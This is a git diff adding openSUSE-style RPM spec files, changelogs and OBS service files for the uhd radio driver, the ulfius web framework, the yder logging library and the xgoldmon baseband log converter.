+Requires: boost-devel
+%endif
+Recommends: %{name}-doc
+
+%description devel
+The UHD is the "Universal Software Radio Peripheral" hardware driver.
+The goal of the UHD is to provide a host driver and API for current
+and future Ettus Research products. Users will be able to use the
+UHD driver standalone or with 3rd party applications.
+
+This package contains all the necessary tools, examples and include
+files for development with the UHD Driver.
+
+%package doc
+Summary: Documentation files for uhd
+Group: Documentation/Other
+BuildArch: noarch
+
+%description doc
+This package contains the documentation for the Universal Hardware Driver (UHD).
+
+%package firmware
+Summary: Firmware images for uhd
+Group: Hardware/Other
+Requires: %{libname} = %{version}
+BuildArch: noarch
+
+%description firmware
+This package contains binary firmware images for the Universal Hardware Driver (UHD).
+
+%prep
+%setup -q -n %{name}_%{version}-release
+%patch0 -p1
+%patch1 -p1
+%patch2 -p1
+
+# remove buildtime from documentation
+echo "HTML_TIMESTAMP = NO" >> docs/Doxyfile.in
+
+%build
+touch ../README.md
+%limit_build
+%cmake \
+ -DPYTHON_EXECUTABLE=/usr/bin/python2 \
+ -DENABLE_GPSD=0
+%make_jobs
+
+%check
+%ctest
+
+%install
+%cmake_install
+
+# Fix udev rules and allow access only to users in usrp group
+sed -i 's/BUS==/SUBSYSTEM==/;s/SYSFS{/ATTRS{/;s/MODE:="0666"/GROUP:="usrp", MODE:="0660"/' %{buildroot}%{_libdir}/uhd/utils/uhd-usrp.rules
+install -m 0644 -D %{buildroot}%{_libdir}/uhd/utils/uhd-usrp.rules %{buildroot}%{_udevrulesdir}/10-usrp-uhd.rules
+rm %{buildroot}%{_libdir}/uhd/utils/uhd-usrp.rules
+
+# Move documentation at the default docdir
+mkdir -p %{buildroot}%{_docdir}/uhd
+mv %{buildroot}%{_datadir}/doc/uhd %{buildroot}%{_docdir}/
+mv %{buildroot}%{_libdir}/uhd/utils/*[!.rules] %{buildroot}%{_bindir}
+mv %{buildroot}%{_libdir}/uhd/examples/* %{buildroot}%{_bindir}
+mv %{buildroot}%{_libdir}/uhd/tests/*_test %{buildroot}%{_bindir}
+
+rm -rf %{buildroot}%{_libdir}/uhd/tests
+rm -rf %{buildroot}%{_libdir}/uhd/examples
+
+rm -rf %{buildroot}%{_docdir}/uhd/LICENSE
+rm -rf %{buildroot}%{_docdir}/uhd/README.md
+
+# two executable files are installed to /usr/share/uhd
+mv %{buildroot}%{_libdir}/uhd/utils/query_gpsdo_sensors %{buildroot}%{_bindir}
+mv %{buildroot}%{_libdir}/uhd/utils/usrp_n2xx_simple_net_burner %{buildroot}%{_bindir}
+mv %{buildroot}%{_libdir}/uhd/utils/b2xx_fx3_utils %{buildroot}%{_bindir}
+mv %{buildroot}%{_libdir}/uhd/utils/usrp_x3xx_fpga_burner %{buildroot}%{_bindir}
+
+# extract firmware
+mkdir -p %{buildroot}%{_datadir}/uhd
+tar -xJvf %{SOURCE1} --transform="s,^uhd-images_%{img_ver}-release/share/uhd/,," --show-transformed-names -C %{buildroot}%{_datadir}/uhd
+
+# find dupes
+%fdupes -s %{buildroot}%{_prefix}
+
+%pre -n %{libname}
+getent group usrp >/dev/null || %{_sbindir}/groupadd -r usrp
+
+%post -n %{libname} -p /sbin/ldconfig
+%postun -n %{libname} -p /sbin/ldconfig
+
+%files -n %{libname}
+%defattr(-,root,root)
+%doc LICENSE
+%{_libdir}/*.so.*.*
+
+%files udev
+%defattr(-,root,root)
+%{_udevrulesdir}/10-usrp-uhd.rules
+
+%files devel
+%defattr(-,root,root)
+%dir %{_includedir}/uhd
+%dir %{_datadir}/uhd
+%exclude %{_datadir}/uhd/images
+%{_includedir}/uhd/*
+%{_includedir}/uhd.h
+%{_bindir}/*
+%{_libdir}/libuhd.so
+%{_libdir}/libuhd.so.003
+%{_libdir}/pkgconfig/uhd.pc
+%{_libdir}/cmake/uhd
+%{_mandir}/man1/*
+
+%files firmware
+%defattr(-,root,root)
+%{_datadir}/uhd/images/
+
+%files doc
+%defattr(-,root,root)
+%dir %{_docdir}/uhd
+%{_docdir}/uhd/doxygen
+#{_docdir}/uhd/manual
+
+%changelog
diff --git a/rpm-local/spec/ulfius/ulfius.changes b/rpm-local/spec/ulfius/ulfius.changes
new file mode 100644
index 0000000..d824633
--- /dev/null
+++ b/rpm-local/spec/ulfius/ulfius.changes
@@ -0,0 +1,167 @@
+-------------------------------------------------------------------
+Wed Apr 1 05:46:12 UTC 2020 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.6.6
+ * Update doc generation
+ * Fix jansson memoy management bug
+
+-------------------------------------------------------------------
+Sat Dec 21 16:04:31 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.6.5
+ * Allow `NULL` values on `struct _u_map`
+ * Add function ulfius_send_smtp_rich_email to send e-mails
+ with a specified content-type
+ * Add follow_redirect in struct _u_request
+ * Fix certificate check
+
+-------------------------------------------------------------------
+Mon Nov 18 10:56:30 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Also add "libjansson-devel", "libgnutls-devel" and
+ "libmicrohttpd-devel" as requirements for ulfius-devel
+
+-------------------------------------------------------------------
+Mon Nov 11 19:43:22 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Disable LTO for now since it breaks compilation on i586
+- Add "Requires: libcurl-devel" to ulfius-devel
+
+-------------------------------------------------------------------
+Sat Oct 5 20:18:07 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.6.4
+ * Add precision for chunked response, got the inspiration
+ from #132.
+ * Update access token for oauth2 bearer validation callback
+ function, add precision concerning libjwt.
+ * Update callback_check_glewlwyd_access_token to the up-to-date
+ version.
+ * Various small fixes.
+
+-------------------------------------------------------------------
+Thu Aug 8 12:06:30 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Add "Requires: yder-devel" to ulfius-devel
+
+-------------------------------------------------------------------
+Mon Aug 5 06:24:32 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.6.3
+ * Fix warning appeared with gcc 9.1, fixes #128
+ * Make instance->mhd_response_copy_data useless if MHD>=0.9.61
+ * Fix MHD_start_daemon flag to reuse MHD_USE_THREAD_PER_CONNECTION
+ by default
+- Remove patch (fixed upstream):
+ * 0001-Cast-option-value-for-curl_easy_setopt-on-CURLOPT_PO.patch
+
+-------------------------------------------------------------------
+Wed Jul 31 20:02:46 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Add "Requires: orcania-devel" to ulfius-devel
+
+-------------------------------------------------------------------
+Fri Jul 19 06:59:59 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.6.2
+ * Fix memory leak in `ulfius_set_string_body_request` and
+ `ulfius_set_string_body_response`
+ * Call callback function websocket_onclose_callback on all times,
+ even if the websocket hasn't properly worked, so the calling
+ program can avoid memory leak and broken resources, fix #126
+- Add patch (fixes a compilation error on Tumbleweed):
+ * 0001-Cast-option-value-for-curl_easy_setopt-on-CURLOPT_PO.patch
+
+-------------------------------------------------------------------
+Tue Jul 2 20:52:27 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.6.1
+ * Fix package dependencies in cmake script
+ * Fix core test to skip websocket tests if webscket is disabled
+ * Disable ipv6 capabilities if libmicrohttpd is older than 0.9.52
+ * Small bugfixes
+- Update to version 2.6.0
+ * Add struct _u_request->callback_position to know the position
+ of the current callback in the callback list
+ * Use MHD_USE_AUTO instead of MHD_USE_THREAD_PER_CONNECTION if
+ libmicrohttpd is newer then 0.9.52
+ * Add network_type in struct _u_instance and struct _u_request to
+ specify IPV4, IPV6 or both networks
+ * Add check_server_certificate_flag, check_proxy_certificate,
+ check_proxy_certificate_flag and ca_path in struct _u_request to
+ add more precision and control on SSL verification in u_send_request
+ * Add functions ulfius_set_string_body_request,
+ ulfius_set_binary_body_request, ulfius_set_empty_body_request
+ * Add url_path in struct _u_request to store the url path only,
+ without query parameters
+ * Add ulfius_url_decode and ulfius_url_encode
+ * Clean code, add more tests
+ errors
+ * Use gnutls_rnd() instead of rand()
+- Update to version 2.5.5
+ * Fix #121 where websockets messages of 126 or 127 bytes long made
+ * Fix sneaky bug where endpoint injection inside a endpoint callback
+ can lead to wrong callback calls, or even worse, crashes
+
+-------------------------------------------------------------------
+Sun Apr 7 07:37:21 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.5.4
+ * Align PKGCONF_REQ_PRIVATE required versions
+ * Backport ulfius_copy_request, ulfius_duplicate_request,
+ ulfius_copy_response and ulfius_duplicate_response from Ulfius 2.6
+
+-------------------------------------------------------------------
+Sat Jan 12 14:31:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 2.5.3
+ - Add flag to build Ulfius with GnuTLS support but without
+ Websockets.
+ - Fix CMake build process that didn't obviously linked Ulfius
+ with pthreads.
+
+-------------------------------------------------------------------
+Fri Dec 28 15:49:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 2.5.2
+ * Fix utf8 check on NULL value
+- Update to version 2.5.1
+ * Fix uwsc crash on some systems
+- Update to version 2.5.0
+ * Add struct _u_endpoint.check_utf8 to check all request parameters
+ and values to be valid utf8 strings.
+ * Add client certificate authentication for webservice and send
+ request library.
+ * Add support for SameSite attribute in response cookies
+- Update to version 2.4.4
+ * CMake scripts improvements
+- Update to version 2.4.3
+ * Add config file ulfius-cfg.h dynamically built with the options
+ * Adapt examples with new ulfius-cfg.h file
+- Update to version 2.4.2
+ * Fix #79 where yuarel should be hidden from the outside world
+- Update to version 2.4.1
+ * Fix #78 where gnutls is not required if websocket is disabled
+- Update to version 2.4.0
+ * Fix Websocket fragmented messages
+ * Fix CMake script that installed Orcania twice
+ * Fix cppcheck warnings
+ * Add timeout for http connections
+ * Allow to use MHD_RESPMEM_MUST_COPY for different memory manager
+ * Add websocket client framework
+ * Add uwsc - Ulfius WebSocket Client
+ A simple command-line websocket client program
+- Remove patches (included/fixed upstream):
+ * 0001-Fix-pkg-config-information-add-requires-fields-as-me.patch
+ * ulfius-fix-cmake-path.patch
+- Create subpackage "uwsc" for the Ulfius WebSocket Client program
+
+-------------------------------------------------------------------
+Sat Aug 11 08:17:09 UTC 2018 - jengelh@inai.de
+
+- Description update.
+
+-------------------------------------------------------------------
+Sun Jul 29 19:02:49 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 2.3.8
diff --git a/rpm-local/spec/ulfius/ulfius.spec b/rpm-local/spec/ulfius/ulfius.spec
new file mode 100644
index 0000000..8aebc14
--- /dev/null
+++ b/rpm-local/spec/ulfius/ulfius.spec
@@ -0,0 +1,108 @@
+#
+# spec file for package ulfius
+#
+# Copyright (c) 2020 SUSE LLC
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%define _lto_cflags %{nil}
+%define sover 2_6
+Name: ulfius
+Version: 2.6.6
+Release: 0
+Summary: Web Framework for REST Applications in C
+License: MIT
+Group: Development/Languages/C and C++
+URL: https://github.com/babelouest/ulfius
+Source: https://github.com/babelouest/ulfius/archive/v%{version}.tar.gz#/%{name}-%{version}.tar.gz
+BuildRequires: cmake
+BuildRequires: gcc-c++
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(gnutls)
+BuildRequires: pkgconfig(jansson) >= 2.4
+BuildRequires: pkgconfig(libcurl)
+BuildRequires: pkgconfig(libmicrohttpd)
+BuildRequires: pkgconfig(liborcania) >= 2.1.0
+BuildRequires: pkgconfig(libyder) >= 1.4.8
+
+%description
+The library is based on GNU libmicrohttpd for the backend web server, jansson
+for the json manipulation library, and libcurl for the HTTP/SMTP client API.
+
+It can be used to create web applications in C programs.
+
+%package -n libulfius%{sover}
+Summary: Web Framework for REST Applications in C
+Group: System/Libraries
+
+%description -n libulfius%{sover}
+The library is based on GNU libmicrohttpd for the backend web server, jansson
+for the json manipulation library, and libcurl for the HTTP/SMTP client API.
+
+It can be used to create web applications in C programs.
+
+%package devel
+Summary: Header files for ulfius
+Group: Development/Libraries/C and C++
+Requires: libcurl-devel
+Requires: libgnutls-devel
+Requires: libjansson-devel
+Requires: libmicrohttpd-devel
+Requires: libulfius%{sover} = %{version}
+Requires: orcania-devel
+Requires: yder-devel
+
+%description devel
+Development and header files for libulfius.
+
+%package -n uwsc
+Summary: Ulfius WebSocket Client
+Group: Productivity/Networking/Web/Utilities
+
+%description -n uwsc
+A simple command-line websocket client program.
+
+%prep
+%setup -q
+
+%build
+%cmake \
+ -DCMAKE_SHARED_LINKER_FLAGS="" \
+ -DCMAKE_INSTALL_PREFIX:PATH=/
+make %{?_smp_mflags}
+
+%install
+%cmake_install
+rm -rf %{buildroot}/%{_datadir}/doc/
+
+%post -n libulfius%{sover} -p /sbin/ldconfig
+%postun -n libulfius%{sover} -p /sbin/ldconfig
+
+%files -n libulfius%{sover}
+%doc CHANGELOG.md README.md
+%license LICENSE
+%{_libdir}/libulfius.so.*
+
+%files devel
+%doc API.md
+%{_includedir}/ulfius.h
+%{_includedir}/ulfius-cfg.h
+%{_libdir}/libulfius.so
+%{_libdir}/pkgconfig/libulfius.pc
+
+%files -n uwsc
+%{_bindir}/uwsc
+
+%changelog
diff --git a/rpm-local/spec/xgoldmon/_service b/rpm-local/spec/xgoldmon/_service
new file mode 100644
index 0000000..3b1828a
--- /dev/null
+++ b/rpm-local/spec/xgoldmon/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">https://github.com/2b-as/xgoldmon</param>
+ <param name="revision">master</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="exclude">.git</param>
+ <param name="package-meta">no</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/xgoldmon/_servicedata b/rpm-local/spec/xgoldmon/_servicedata
new file mode 100644
index 0000000..23de926
--- /dev/null
+++ b/rpm-local/spec/xgoldmon/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">https://github.com/2b-as/xgoldmon</param>
+ <param name="changesrevision">f2d5372acee4e492f31f6ba8b850cfb48fbbe478</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/xgoldmon/xgoldmon.changes b/rpm-local/spec/xgoldmon/xgoldmon.changes
new file mode 100644
index 0000000..bd4752f
--- /dev/null
+++ b/rpm-local/spec/xgoldmon/xgoldmon.changes
@@ -0,0 +1,5 @@
+-------------------------------------------------------------------
+Sat Dec 27 17:21:43 UTC 2014 - mardnh@gmx.de
+
+- initial package, version 0.0.0.git1388364764.f2d5372
+
diff --git a/rpm-local/spec/xgoldmon/xgoldmon.spec b/rpm-local/spec/xgoldmon/xgoldmon.spec
new file mode 100644
index 0000000..de47715
--- /dev/null
+++ b/rpm-local/spec/xgoldmon/xgoldmon.spec
@@ -0,0 +1,54 @@
+#
+# spec file for package xgoldmon
+#
+# Copyright (c) 2014, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: xgoldmon
+Version: 0.0.0.git1388364764.f2d5372
+Release: 0
+Summary: XGold baseband based phones log messages to GSMTAP
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+Url: http://bb.osmocom.org/trac/wiki/dct3-gsmtap
+Source: %{name}-%{version}.tar.xz
+BuildRequires: pkg-config
+BuildRequires: pkgconfig(libosmocore)
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+
+%description
+xgoldmon is a small tool to convert the messages output by the USB
+logging mode of phones with Intel/Infineon XGold baseband processor
+back to the GSM/UMTS radio messages sent over the air so you can watch
+them in e.g. Wireshark in realtime.
+This includes signalling for calls, SMS, USSD, paging for your and
+other phones and so on.
+
+%prep
+%setup -q
+
+%build
+make %{?_smp_mflags}
+
+%install
+mkdir -p %{buildroot}%{_bindir}/
+install -Dpm 0755 xgoldmon %{buildroot}%{_bindir}/xgoldmon
+
+%files
+%defattr(-,root,root)
+%doc COPYING README
+%{_bindir}/xgoldmon
+
+%changelog
diff --git a/rpm-local/spec/yder/yder.changes b/rpm-local/spec/yder/yder.changes
new file mode 100644
index 0000000..baeb7c0
--- /dev/null
+++ b/rpm-local/spec/yder/yder.changes
@@ -0,0 +1,58 @@
+-------------------------------------------------------------------
+Sat Mar 14 21:45:59 UTC 2020 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 1.4.10
+ * Add y_set_date_format, closes #17
+ * Remove generated doc from source package
+
+-------------------------------------------------------------------
+Sun Jan 19 14:25:53 UTC 2020 - Martin Hauke <mardnh@gmx.de>
+
+- Update to versin 1.4.9
+ * Fix pkgconfig dependency
+
+-------------------------------------------------------------------
+Sat Oct 5 20:34:27 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to versin 1.4.8
+ * Avoid running y_init_logs without closing between
+
+-------------------------------------------------------------------
+Fri Jul 12 21:03:56 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 1.4.7
+ * Clean build process
+ * Clean static variables if error initializing logs with file
+- Drop not longer needed patch:
+ * yder-fix-build.patch
+
+-------------------------------------------------------------------
+Tue Jul 2 20:44:42 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 1.4.6
+ * Fix package dependencies in cmake script
+ * Fix pkgconfig bugs
+
+-------------------------------------------------------------------
+Fri Dec 28 16:07:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.4.4
+ * Improve build config file and install headers.
+ * Add config file yder-cfg.h dynamically built with the options.
+ * Fix a bug about including time.h in the wrong place.
+ * Add y_init_callback_logs to redirect all logs in a callback
+ function.
+- Remove patch:
+ * 0001-Fix-pkg-config-information-add-requires-fields-as-me.patch
+- Update patch:
+ * yder-fix-build.patch
+
+-------------------------------------------------------------------
+Sat Aug 11 08:42:18 UTC 2018 - jengelh@inai.de
+
+- Update descriptions for grammar.
+
+-------------------------------------------------------------------
+Sun Jul 29 20:01:15 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 1.3.4
diff --git a/rpm-local/spec/yder/yder.spec b/rpm-local/spec/yder/yder.spec
new file mode 100644
index 0000000..ee72b79
--- /dev/null
+++ b/rpm-local/spec/yder/yder.spec
@@ -0,0 +1,87 @@
+#
+# spec file for package yder
+#
+# Copyright (c) 2020 SUSE LLC
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%define sover 1_4
+Name: yder
+Version: 1.4.10
+Release: 0
+Summary: Logging library written in C
+License: LGPL-2.1-or-later
+Group: Development/Languages/C and C++
+URL: https://github.com/babelouest/yder
+Source: https://github.com/babelouest/yder/archive/v%{version}.tar.gz#/%{name}-%{version}.tar.gz
+BuildRequires: cmake
+BuildRequires: gcc-c++
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(liborcania) >= 2.0.0
+BuildRequires: pkgconfig(libsystemd)
+
+%description
+Yder is a logging library where messages can be logged to console,
+files, syslog or journald.
+
+Yder is single-threaded, which means that only one instance of yder
+logging can be used at the same time in a program.
+
+%package -n libyder%{sover}
+Summary: Logging library written in C
+Group: System/Libraries
+
+%description -n libyder%{sover}
+Yder is a logging library where messages can be logged to console,
+files, syslog or journald.
+
+Yder is single-threaded, which means that only one instance of yder
+logging can be used at the same time in a program.
+
+%package devel
+Summary: Header files for yder
+Group: Development/Libraries/C and C++
+Requires: libyder%{sover} = %{version}
+
+%description devel
+Development and header files for yder.
+
+%prep
+%setup -q
+
+%build
+%cmake \
+ -DCMAKE_INSTALL_PREFIX:PATH=/
+make %{?_smp_mflags}
+
+%install
+%cmake_install
+rm -rf %{buildroot}/%{_datadir}/doc/
+
+%post -n libyder%{sover} -p /sbin/ldconfig
+%postun -n libyder%{sover} -p /sbin/ldconfig
+
+%files -n libyder%{sover}
+%doc CHANGELOG.md README.md
+%license LICENSE
+%{_libdir}/libyder.so.*
+
+%files devel
+%{_includedir}/yder.h
+%{_includedir}/yder-cfg.h
+%{_libdir}/libyder.so
+%{_libdir}/pkgconfig/libyder.pc
+
+%changelog